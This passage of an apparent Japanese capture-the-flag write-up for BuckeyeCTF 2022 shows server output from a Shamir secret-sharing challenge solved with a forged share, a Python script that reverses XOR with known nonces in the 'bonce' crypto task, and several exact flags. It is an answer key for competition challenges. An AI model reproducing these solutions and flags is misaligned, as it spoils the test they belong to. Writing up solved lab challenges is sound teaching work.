The other shares are:
(2, 5364916493409941827157269048386092315175499421066542035866312970081666454815146922668610494098746322749065934045393751420301434490107919219831983782949082)
(3, 4058141980357628856058703885783976784707897805903729911424108415281729669147017847776490094783533686676333253085533002026211955693321932623024640285690047)
I wrote down a list of people who are allowed to get the flag and split it into 3 using Shamir's Secret Sharing.
Your share is:
(1, 1855078843404391703437952631904133007090815230125853286048535746468919802615329567149742572858032214352220078315070683324094379031716605435288936893704651)
The other shares are:
(2, 2491779136711761019436247636678577337149116632475574320534013537047050628072858621436070972657159889368445581820235533160470489310859279762087111960617369)
(3, 1910100879922107947994885014323332990174904207049163103456433371790824036548503936600290012302977699771829162477616685131475601355954126235523189580314303)
I wrote down a list of people who are allowed to get the flag and split it into 3 using Shamir's Secret Sharing.
Your share is:
(1, 3559038284431499867308640884648248006456142222863820215296215684538330294710810511294770250286921740003009209918695447037247620319916502934719220925239680)
The other shares are:
(2, 2598345619761451058443310428499144847918431565670573129396091822055763301219835942104951314144833508546426779792111812447259456504244479597943063303977910)
(3, 4697417317158193457759725947945657393058674251220470438367015369841194895551967964901608517190808066763864203353074521428957274047172608889542636139124116)
[+] p = 7579495311168339884355717316392966868671806222800211696067386957232464315848974898729760512711478086410458841770703289576574494975662575644742444623333277

Now submit your share for reconstruction:
>>> (1, 6085536721487613162093879990112570296013410963797224113985344670263674546601846994359253075715517644070734210725807675119280653615491977692083640276936879)
Here's your flag:
buckeye{tH1s_SSS_sch3Me_c0uLd_u5e_s0M3_S1gna7Ur3s}
buckeye{tH1s_SSS_sch3Me_c0uLd_u5e_s0M3_S1gna7Ur3s}

bonce (crypto)

暗号化の処理概要は以下の通り。

・line: sample.txtの内容
・flag: flag.txtの内容
・samples: lineの最後の29バイトを除く、28バイトごとのブロック配列
・samplesのどこかの要素の間にflagを挿入
・i = 0
・samplesの長さが40未満の場合は以下繰り返し実行
 ・samplesにsamples[len(samples) - i - 2]を追加
 ・i: ランダムなsamplesのインデックス
・encrypted = []
・40回、以下繰り返し(i)
 ・x = samples[i]
 ・iが10未満の場合
  ・nonce = str(i) * 28
 ・iが10以上の場合
  ・nonce = str(i) * 14
 ・encryptedに「xの各バイトのASCIIコード ^ nonceの各バイトのASCIIコード」の数値文字列 + ' 'を結合したもの追加
・output.txtに以下を書き込み
 ・iが0~3について、以下の形式で書き込み
  input: <samples[i]>
  output: <encryted[i]>
 ・iが4~について、以下の形式で書き込み
  input: ???
  output: <encrypted[i]>

nonceとXORすれば復号できる。

#!/usr/bin/env python3
with open('output.txt', 'r') as f:
    lines = f.read().splitlines()

encs = [lines[i][8:] for i in range(11, len(lines), 2)]

for i in range(4, 40):
    codes = [int(code) for code in encs[i - 4].split(' ')[:-1]]
    if i < 10:
        nonce = str(i) * 28
    else:
        nonce = str(i) * 14
    sample = ''.join(chr(a ^ ord(b)) for a, b in zip(codes, nonce))
    print(sample)

復号結果は以下の通りで、この中にフラグが含まれていた。

r if now thou not renewest,T
hou dost beguile the world, 
unbless some mother.For wher
e is she so fair whose unear
’d wombDisdains the tillag
e of thy husbandry?Or who is
 he so fond will be the tomb
Of his self-love, to stop po
sterity?Thou art thy motherâ
€™s glass, and she in theeCa
lls back the lovely April of
 her prime:So thou through w
indows of thine age shall se
eDespite of wrinkles this th
y golden time.But if thou li
buckeye{some_say_somefish:)}
ve, remember’d not to be,D
ie single, and thine image d
ve, remember’d not to be,D
r if now thou not renewest,T
Look in thy glass, and tell 
sterity?Thou art thy motherâ
unbless some mother.For wher
e is she so fair whose unear
rm another;Whose fresh repai
ve, remember’d not to be,D
r if now thou not renewest,T
rm another;Whose fresh repai
e of thy husbandry?Or who is
e is she so fair whose unear
e of thy husbandry?Or who is
lls back the lovely April of
e of thy husbandry?Or who is
ve, remember’d not to be,D
€™s glass, and she in theeCa
rm another;Whose fresh repai
buckeye{some_say_somefish:)}

survey (misc 1)

アンケートに答えたら、フラグが表示された。

buckeye{7h4nk5_f0r_p14y1n9_2022}